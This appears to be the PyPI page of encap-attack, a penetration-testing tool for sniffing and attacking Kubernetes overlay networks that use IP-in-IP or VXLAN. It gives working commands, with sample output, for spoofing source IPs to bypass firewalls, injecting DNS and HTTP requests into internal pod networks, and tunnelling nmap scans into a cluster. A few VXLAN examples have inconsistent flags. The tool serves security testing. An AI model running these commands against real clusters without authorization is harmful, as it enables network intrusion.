Network sniffing and attacks using IP-in-IP and VXLAN
Project description
Encap-Attack: Encapsulated Network Attacks
Sniff and attack networks that use IP-in-IP or VXLAN encapsulation protocols.
Requirements
- Python
ip
iptables
Installation
pip3 install encap-attack
encap-attack --help
Development installation
git clone https://github.com/WithSecureLabs/encap-attack.git
cd encap-attack
python3 -m venv venv
sudo su
source venv/bin/activate
pip3 install .
encap-attack --help
Usage
Here are some basic usage examples of the tool. More options are available for each command and subcommand, documented by the --help
options. For example, encap-attack vxlan --help
or encap-attack vxlan tunnel --help
.
All commands can be run in verbose mode using the -v
flag after encap-attack
. For example, encap-attack -v detect
.
Sniffing encapsulated network traffic - detect
The tool can listen for encapsulated traffic on the network, and extract information about the encapsulation being used. This will only return information if encapsulated traffic is detected, or if running in verbose mode. To sniff traffic, run:
encap-attack detect
Obtain information about a Kubernetes cluster - kubeintel
Kubernetes intelligence functionality uses the kubeintel
subcommand.
To extract a predicted service IP range and CoreDNS address, and optionally attempt to connect to it using IP-in-IP, two commands exist: kubeintel guess-cidr
and kubeintel attempt-ipip
.
To guess the service CIDR:
encap-attack kubeintel guess-cidr <api_server_address>
To guess the service CIDR and attempt to connect to CoreDNS using IP-in-IP, run the following. We recommend spoofing the source IP as another host or Kubernetes node to bypass host firewall rules, using the -s
flag:
encap-attack kubeintel attempt-ipip -a <api_server_address> -s <another_host_ip>
Example:
encap-attack kubeintel attempt-ipip -a 192.168.124.9 -s 192.168.124.11
The tool will also provide kubectl
commands to extract pod/service IP ranges and VXLAN network information from a Kubernetes cluster, with encap-attack kubeintel get-ip-ranges
and encap-attack kubeintel get-net-info
, respectively. The kubectl
commands provided will output the information needed to simulate encapsulated packets to the overlay network.
Attack an IP-in-IP network - ipip
IP-in-IP functionality uses the ipip
subcommand.
You must ensure the intermediary destination node (-d
flag) is that on which the target pods reside. If the pods run on a different node, you will receive no response.
To send a single DNS request, run the following. We recommend spoofing the source IP as another host or Kubernetes node to bypass host firewall rules, using the -s
flag:
encap-attack ipip -d <destination_host_ip> -s <another_host_ip> request -di <internal_destination_ip> dns -t <query_type> <domain_to_query>
Example:
# encap-attack ipip -d 192.168.124.9 -s 192.168.124.11 request -di 10.100.99.5 dns -t A kube-dns.kube-system.svc.cluster.local
Running in IP-in-IP mode
Interface IP: 192.168.124.200
Sending DNS packet: Ether / IP / IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'"
Response:
kube-dns.kube-system.svc.cluster.local: 10.96.0.10
For an HTTP request:
encap-attack ipip -d <destination_host_ip> -s <another_host_ip> request -di <internal_destination_ip> http "<request>"
Example:
# encap-attack ipip -d 192.168.124.10 -s 192.168.124.11 request -di 10.100.99.5 http "GET / HTTP/1.1\r\nHost: 10.100.99.5"
Running in IP-in-IP mode
Interface IP: 192.168.124.200
Sending SYN: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http S
Sending ACK: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A
Sending ACK PUSH: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http PA / Raw
Sending ACK: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A
Sending FIN ACK: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http FA
Sending ACK: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A
Response:
HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Fri, 23 Aug 2024 10:35:13 GMT
Content-Type: text/html
Content-Length: 615
Last-Modified: Mon, 12 Aug 2024 14:21:01 GMT
Connection: keep-alive
ETag: "66ba1a4d-267"
Accept-Ranges: bytes
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
</head>
<body>
<h1>Welcome!</h1>
</body>
</html>
Alternatively, a tunnel can be configured to route all traffic destined for specific IP ranges into the encapsulated network. The -a
flag is optionally used to specify a Kubernetes API server. If this value is set, the API server will be queried to guess the service IP range (as per kubeintel guess-cidr
above) - and this route will automatically be added to the tunnel. Additional routes can be added with the -r
flag. Use Ctrl+C to shut down the tunnel.
encap-attack -d <destination_host_ip> -s <another_host_ip> tunnel -a <api_server_address> -r <route_cidr>
Example:
# encap-attack -d 192.168.124.10 -s 192.168.124.11 tunnel -a 192.168.124.9 -r 10.2.0.0/16 -r 10.3.0.0/16
Running in IP-in-IP mode
Interface IP: 192.168.124.200
Kubernetes API server certificate information:
Subject: kube-apiserver
Issuer: kubernetes
IPs: 10.96.0.1, 192.168.124.9
Hostnames: kubernetes, kubernetes.default, kubernetes.default.svc, kubernetes.default.svc.cluster.local, master
Guessed service CIDR: 10.96.0.0/12
kube-dns DNS server may be available at: 10.96.0.10:53
Cluster DNS suffix: cluster.local
Starting tunnel tun0, press Ctrl+C to stop...
Encapsulating packet: IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'"
Sending encapsulated packet: Ether / IP / IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'"
All requests to the defined routes (in this example, 10.2.0.0/16
, 10.3.0.0/16
, and the service IP range guessed from information from the API server - 10.96.0.0/12) will then be encapsulated and routed into the overlay network. This permits the use of other tooling (e.g., nmap
) within the overlay network from an external perspective:
nmap -sT 10.2.0.0/16
Attack a VXLAN network - vxlan
VXLAN functionality uses the vxlan
subcommand.
The functionality for VXLAN networks is identical to that provided for IP-in-IP networks with the ipip
command, but requires the additional information needed by the VXLAN protocol, as discussed above. Similar to IP-in-IP, you must ensure the correct destination host/node is used, or you will receive no response.
To send a single DNS request, run the following. We recommend spoofing the source IP as another host or Kubernetes node to bypass host firewall rules, using the -s
flag:
encap-attack vxlan -d <destination_host_ip> -s <another_host_ip> -mi <vtep> --vni <vni> -pd <vxlan_tunnel_port> request -di <internal_destination_ip> dns -t <query_type> <domain_to_query>
Example:
# encap-attack ipip -d 192.168.124.9 -s 192.168.124.11 -mi aa:bb:cc:dd:ee:ff --vni 4096 -pd 4789 request -di 10.100.99.5 dns -t A kube-dns.kube-system.svc.cluster.local
Running in VXLAN mode
Interface IP: 192.168.124.200
Sending DNS packet: Ether / IP / UDP / VXLAN / Ether / IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'"
Response:
kube-dns.kube-system.svc.cluster.local: 10.96.0.10
For an HTTP request:
encap-attack ipip -d <destination_host_ip> -s <another_host_ip> -mi <vtep> --vni <vni> -pd <vxlan_tunnel_port> request -di <internal_destination_ip> http "<request>"
Example:
# encap-attack ipip -d 192.168.124.10 -s 192.168.124.11 -mi 99:aa:bb:cc:dd:ee --vni 4096 -pd 4789 request -di 10.100.99.5 http "GET / HTTP/1.1\r\nHost:10.100.99.5"
Running in VXLAN mode
Interface IP: 192.168.124.200
Sending SYN: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http S
Sending ACK: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A
Sending ACK PUSH: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http PA / Raw
Sending ACK: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A
Sending FIN ACK: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http FA
Sending ACK: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A
Response:
HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Fri, 23 Aug 2024 10:35:13 GMT
Content-Type: text/html
Content-Length: 615
Last-Modified: Mon, 12 Aug 2024 14:21:01 GMT
Connection: keep-alive
ETag: "66ba1a4d-267"
Accept-Ranges: bytes
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
</head>
<body>
<h1>Welcome!</h1>
</body>
</html>
The vxlan
subcommand also provides a tunnel option, similar to the ipip
subcommand, with the same functionality. As a reminder, this routes all traffic destined for specific IP ranges into the encapsulated network. The -a
flag is optionally used to specify a Kubernetes API server. If this value is set, the API server will be queried to guess the service IP range (as per kubeintel guess-cidr
above) - and this route will automatically be added to the tunnel. Additional routes can be added with the -r
flag. Use Ctrl+C to shut down the tunnel.
encap-attack -d <destination_host_ip> -s <another_host_ip> -mi <vtep> --vni <vni> -pd <vxlan_tunnel_port> tunnel -a <api_server_address> -r <route_cidr>
Example:
# encap-attack -d 192.168.124.10 -s 192.168.124.11 -mi 99:aa:bb:cc:dd:ee --vni 4096 --pd 4789 tunnel -a 192.168.124.9 -r 10.2.0.0/16 -r 10.3.0.0/16
Running in VXLAN mode
Interface IP: 192.168.124.200
Kubernetes API server certificate information:
Subject: kube-apiserver
Issuer: kubernetes
IPs: 10.96.0.1, 192.168.124.9
Hostnames: kubernetes, kubernetes.default, kubernetes.default.svc, kubernetes.default.svc.cluster.local, master
Guessed service CIDR: 10.96.0.0/12
kube-dns DNS server may be available at: 10.96.0.10:53
Cluster DNS suffix: cluster.local
Starting tunnel tun0, press Ctrl+C to stop...
Encapsulating packet: IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'"
Sending encapsulated packet: Ether / IP / UDP / VXLAN / Ether / IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'"
All requests to the defined routes (in this example, 10.2.0.0/16
, 10.3.0.0/16
, and the service IP range guessed from information from the API server - 10.96.0.0/12
) will then be encapsulated and routed into the overlay network. This permits the usage of other tooling (e.g., nmap
) within the overlay network from an external perspective:
nmap -sT 10.2.0.0/16
Acknowledgements
This tool was initially developed by Matthew Grove at WithSecure Consulting.
It was inspired by research conducted by Rory McCune and James Cleverley-Prance.
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
File details
Details for the file encap_attack-1.0.0.tar.gz
.
File metadata
- Download URL: encap_attack-1.0.0.tar.gz
- Upload date:
- Size: 30.6 kB
- Tags: Source
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/5.1.0 CPython/3.12.5
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | b55facb8453c6cfecad58535701c54938c0b3bee0262f7d67d2decb5c03b24d5 |
|
MD5 | c79f8f138fc87b4bb891a7674c030d2e |
|
BLAKE2b-256 | bc0873abb9c34db7d1231d93cc0a2db561a386590f582a6e5d76194a432b992a |
File details
Details for the file encap_attack-1.0.0-py3-none-any.whl
.
File metadata
- Download URL: encap_attack-1.0.0-py3-none-any.whl
- Upload date:
- Size: 27.9 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/5.1.0 CPython/3.12.5
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | 274fec578129081b1ba5a590f9e0cb550f3ae46d6dbfb2c376687e871a34f3ac |
|
MD5 | 61ae13d3529d80bbf93b2b39b17ed06d |
|
BLAKE2b-256 | 3e2d32de6ae02aac4aa209b5c233ef098a97b1863900c657a2808136b5edb6f8 |